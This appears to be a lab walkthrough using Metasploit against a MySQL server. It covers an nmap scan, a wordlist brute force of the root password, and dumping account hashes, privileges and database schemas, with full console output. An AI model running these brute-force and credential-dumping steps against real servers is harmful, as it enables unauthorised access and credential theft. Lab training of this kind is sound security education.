Lab
This lab runs the following auxiliary modules against the target:
- auxiliary/admin/mysql/mysql_enum
- auxiliary/admin/mysql/mysql_sql
- auxiliary/scanner/mysql/mysql_file_enum
- auxiliary/scanner/mysql/mysql_hashdump
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/mysql/mysql_version
- auxiliary/scanner/mysql/mysql_writable_dirs
Nmap Scan
nmap -sC -sV 192.128.209.3
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Add Workspace
workspace -a mysql_enum
Enumerate the MySQL Version
use auxiliary/scanner/mysql/mysql_version
exploit
Brute Force MySQL
Brute force the root account, stopping on the first valid password.
use auxiliary/scanner/mysql/mysql_login
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set USERNAME root
set VERBOSE false
set STOP_ON_SUCCESS true
exploit
Enumerate MySQL
With the recovered credentials (root / twinkle), enumerate accounts, privileges, and server settings.
use auxiliary/admin/mysql/mysql_enum
set USERNAME root
set PASSWORD twinkle
exploit
msf5 auxiliary(admin/mysql/mysql_enum) > options
Module options (auxiliary/admin/mysql/mysql_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 192.128.209.3 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
USERNAME no The username to authenticate as
msf5 auxiliary(admin/mysql/mysql_enum) > set USERNAME root
USERNAME => root
msf5 auxiliary(admin/mysql/mysql_enum) > set PASSWORD twinkle
PASSWORD => twinkle
msf5 auxiliary(admin/mysql/mysql_enum) > exploit
[*] Running module against 192.128.209.3
[*] 192.128.209.3:3306 - Running MySQL Enumerator...
[*] 192.128.209.3:3306 - Enumerating Parameters
[*] 192.128.209.3:3306 - MySQL Version: 5.5.61-0ubuntu0.14.04.1
[*] 192.128.209.3:3306 - Compiled for the following OS: debian-linux-gnu
[*] 192.128.209.3:3306 - Architecture: x86_64
[*] 192.128.209.3:3306 - Server Hostname: victim-1
[*] 192.128.209.3:3306 - Data Directory: /var/lib/mysql/
[*] 192.128.209.3:3306 - Logging of queries and logins: OFF
[*] 192.128.209.3:3306 - Old Password Hashing Algorithm OFF
[*] 192.128.209.3:3306 - Loading of local files: ON
[*] 192.128.209.3:3306 - Deny logins with old Pre-4.1 Passwords: OFF
[*] 192.128.209.3:3306 - Allow Use of symlinks for Database Files: YES
[*] 192.128.209.3:3306 - Allow Table Merge:
[*] 192.128.209.3:3306 - SSL Connection: DISABLED
[*] 192.128.209.3:3306 - Enumerating Accounts:
[*] 192.128.209.3:3306 - List of Accounts with Password Hashes:
[+] 192.128.209.3:3306 - User: root Host: localhost Password Hash: *A0E23B565BACCE3E70D223915ABF2554B2540144
[+] 192.128.209.3:3306 - User: root Host: 891b50fafb0f Password Hash:
[+] 192.128.209.3:3306 - User: root Host: 127.0.0.1 Password Hash:
[+] 192.128.209.3:3306 - User: root Host: ::1 Password Hash:
[+] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost Password Hash: *F4E71A0BE028B3688230B992EEAC70BC598FA723
[+] 192.128.209.3:3306 - User: root Host: % Password Hash: *A0E23B565BACCE3E70D223915ABF2554B2540144
[+] 192.128.209.3:3306 - User: filetest Host: % Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[+] 192.128.209.3:3306 - User: ultra Host: localhost Password Hash: *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
[+] 192.128.209.3:3306 - User: guest Host: localhost Password Hash: *17FD2DDCC01E0E66405FB1BA16F033188D18F646
[+] 192.128.209.3:3306 - User: gopher Host: localhost Password Hash: *027ADC92DD1A83351C64ABCD8BD4BA16EEDA0AB0
[+] 192.128.209.3:3306 - User: backup Host: localhost Password Hash: *E6DEAD2645D88071D28F004A209691AC60A72AC9
[+] 192.128.209.3:3306 - User: sysadmin Host: localhost Password Hash: *78A1258090DAA81738418E11B73EB494596DFDD3
[*] 192.128.209.3:3306 - The following users have GRANT Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following users have CREATE USER Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following users have RELOAD Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following users have SHUTDOWN Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following users have SUPER Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following users have FILE Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - User: filetest Host: %
[*] 192.128.209.3:3306 - The following users have PROCESS Privilege:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following accounts have privileges to the mysql database:
[*] 192.128.209.3:3306 - User: root Host: localhost
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - User: debian-sys-maint Host: localhost
[*] 192.128.209.3:3306 - User: root Host: %
[*] 192.128.209.3:3306 - The following accounts have empty passwords:
[*] 192.128.209.3:3306 - User: root Host: 891b50fafb0f
[*] 192.128.209.3:3306 - User: root Host: 127.0.0.1
[*] 192.128.209.3:3306 - User: root Host: ::1
[*] 192.128.209.3:3306 - The following accounts are not restricted by source:
[*] 192.128.209.3:3306 - User: filetest Host: %
[*] 192.128.209.3:3306 - User: root Host: %
[*] Auxiliary module execution completed
msf5 auxiliary(admin/mysql/mysql_enum) >
MySQL Query Module
use auxiliary/admin/mysql/mysql_sql
set USERNAME root
set PASSWORD twinkle
exploit
set SQL show databases;
exploit
set SQL use videos;
exploit
MySQL Schema Dump
use auxiliary/scanner/mysql/mysql_schemadump
set USERNAME root
set PASSWORD twinkle
exploit
View the Gathered Information in msfconsole
hosts
loot
creds
Login to MySQL
mysql -h <IP> -u <username> -p
Enter the password when prompted.
show databases;
use videos;
show tables;